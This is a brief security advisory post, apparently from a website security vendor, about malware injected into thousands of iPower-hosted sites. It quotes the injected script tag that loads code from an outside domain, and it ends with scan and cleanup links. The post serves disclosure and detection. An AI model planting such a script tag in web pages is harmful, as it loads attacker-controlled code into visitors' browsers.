This is an old malware that affected ipower shared hosting a couple of months ago. For some reason, we kept it in the drafts and never published.
Anyway, this was the malware added to thousands of ipower hosted sites:
<script src="http://infoitpoweringgathering.com/ll.php?kk=11"></script>
Very similar to the WordPress hacks on GoDaddy from last year. If your site is affected (or if you are not sure), scan it here: Sucuri Sitecheck.
If you need someone to clean it up, sign up here: http://sucuri.net/signup
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